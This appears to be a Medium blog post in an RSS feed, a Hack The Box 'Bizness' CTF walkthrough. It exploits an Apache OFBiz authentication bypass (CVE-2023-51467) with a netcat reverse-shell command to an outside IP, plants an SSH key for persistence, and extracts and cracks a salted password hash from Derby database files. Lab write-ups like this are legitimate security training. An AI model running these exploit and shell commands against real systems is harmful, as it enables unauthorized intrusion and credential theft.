            <title><![CDATA[HTB Bizness Writeup]]></title>
            <link>https://0xlf.medium.com/htb-bizness-writeup-eb1a6104ebfe?source=rss-96f60bb6dd8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb1a6104ebfe</guid>
            <dc:creator><![CDATA[Muhammad Nizar]]></dc:creator>
            <pubDate>Sun, 21 Jan 2024 00:30:39 GMT</pubDate>
            <atom:updated>2024-07-28T04:48:46.887Z</atom:updated>
            <content:encoded><![CDATA[<p>HTB Bizness Writeup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*2xo6WsM19mNu3AWR4Cr9ZA.png" /></figure><p>5 port only open for this website but i think this port cant do anything so lets enum directory to find vulnerability to exploit it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mX6rgJ1rleQNSQEw.png" /></figure><p>First of all usually me using gobuster for scanning directory but now not working because so i using dirb to scanning directory and its working</p><p>dirb https://bizness.htb /usr/share/dirb/wordlists/common.txt</p><p>lets check /accounting directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6bqVfN3bbSTDWp7f.png" /></figure><h3>Apache OFBiz Authentication Bypass Vulnerability (CVE-2023–51467 and CVE-2023–49070)</h3><p>Look at here . There using Ofbiz vendor on this website so lets google about Ofbiz exploit because Easy machine usually using exploit CVE . I found this page github CVE EXPLOIT <a href="https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass">Apache-OFBiz-Authentication-Bypass</a></p><p>now install the tools and running in your linux</p><blockquote>python3 exploit.py --url https://bizness.htb --cmd &quot;nc 10.10.14.116 1337 -c /bin/bash&quot;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dt1KJC0cSZ5Qeb8h.png" /></figure><p>revshell connected . To login ssh go to your linux generate your id_rsa using ssh-keygen and you just enter until completed . After you generated running this command cat id_rsa.pub in /home/kali/.ssh/ and copy your id_rsa.pub and follow my step the below</p><blockquote>1. echo &quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYchILzjmmEm2qzhGj0ewpfGQMwfJC83jPMXj0aMOkfpOX/Myw7TbMqH9QvkuWnA+Yi1Jo3n34R865/64lkHXgYTVECH/T0M5Ng+L+BQwwsKwYg5y4nL4FpQV+uAP2eOxR96qBceSIkrGYoYuKzusN3zEkk3HDdvsLBf4b+CPk5GcalIScRcJJPzXcO6KORxqKgPLRoOpccEc4ymNmiQ/GgP0ATxqxDlWwmtLsVw2vF5U/Sw3YPeJ0ztVcoMDj6gEeynVlTVcvgzdrEhM5XKu4uiabbyQ4N201TbImdj1gXNYbcj9AlphhlKvH8Q3wFo8fkbVwj7bM/UcUOTGqHsPAm64nNHRhG8U47raMAt7O7DTlEKE9ZOi0q6Fz7rSZiMxdILBDqa3M6J7ayOg7FkM8DAv+Jey4RzFTEUOMDnrxAxYSbO6QorST6HPz62lMltStM9rMgtw+JdDvq5vVmMqz/nU7o+HjIHpQBAu7OmrGiv+mh7Hsrj76pgBlxFK0kcE= kali@kali&quot; &gt;&gt; authorized_keys</blockquote><blockquote>2.Copy that and go to your revshell</blockquote><blockquote>3. cd /home/ofbiz/.ssh or mkdir /home/ofbiz/.ssh (if .ssh not created)</blockquote><blockquote>4.Paste that on top command</blockquote><p>Now you can login ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W3fjRfjB7PVgpoer.png" /></figure><h3>Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W67i5Y6ePBvtzbBe.png" /></figure><p>I found files maybe can privilege escalation . I’ve using linpeas to scanning and trying to priv esc it .</p><p>here the name files i would read one by one but no have anything important lol . Just waste your time so lets go to this folder /opt/ofbiz/runtime/data/derby/ofbiz/seg0/ and you will see so much file .dat so im really lazy to read one by one so i just combine the all files using cat</p><p>cat * &gt; test.txt after that run this command strings test.txt | grep SHA or you can using strings command only to find the password but its takes long time</p><p>$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I here the password the password using SHA hashing . And the password using salt is $d .To crack password have salt u can using hashcat but now i using tools to crack it</p><h3>Crack SHA1 Password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/0*iuORCMkaCsJm3V3B.png" /></figure><p>nah has been cracked The Password is : monkeybizness</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/0*MFNmE-xzqiye1N0q.png" /></figure><p>I hope you all enjoy my writeup : )</p><p><em>Originally published at </em><a href="https://0xwhoami35.github.io/posts/HTB_Bizness/"><em>https://0xwhoami35.github.io</em></a><em> on January 21, 2024.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb1a6104ebfe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>